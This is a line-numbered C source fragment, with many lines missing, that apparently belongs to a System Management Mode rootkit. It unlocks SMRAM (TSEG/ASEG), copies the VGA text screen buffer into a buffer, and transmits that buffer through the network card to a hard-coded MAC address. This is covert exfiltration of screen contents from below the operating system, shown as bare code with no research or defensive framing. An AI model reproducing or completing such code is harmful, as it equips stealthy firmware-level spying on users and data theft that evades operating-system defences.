3 #include <video_defines.h>
5 #include <pci-bother.h>
9 static struct nic *_nic = 0x0;
11 extern struct pci_driver a3c90x_driver;
13 static char test[1024] = {0};
15 static unsigned char vga_read(unsigned char idx)
17 outb(CRTC_IDX_REG, idx);
18 return inb(CRTC_DATA_REG);
21 static unsigned int vga_base()
23 return (((unsigned int) vga_read(CRTC_START_ADDR_MSB_IDX)) << 9)
24 + (((unsigned int) vga_read(CRTC_START_ADDR_LSB_IDX)) << 1);
31 static short pos = 0x0;
32 unsigned short base = vga_base();
33 unsigned char *p = (unsigned char *)0xB8000;
34 smram_state_t old_state;
40 smram_tseg_set_state(SMRAM_TSEG_OPEN);
41 old_state = smram_save_state();
49 test[3] = base & 0xFF;
51 smram_aseg_set_state(SMRAM_ASEG_SMMCODE);
53 for (i = 4; i < 1024; i++)
58 smram_restore_state(old_state);
59 _nic->transmit("\x00\x03\x93\x87\x84\x8C", 0x1337, 1024, test);
62 int eth_register(struct nic *nic)
72 /* Required for DMA to work. :( */
73 smram_tseg_set_state(SMRAM_TSEG_OPEN);
74 pci_probe_driver(a3c90x_driver);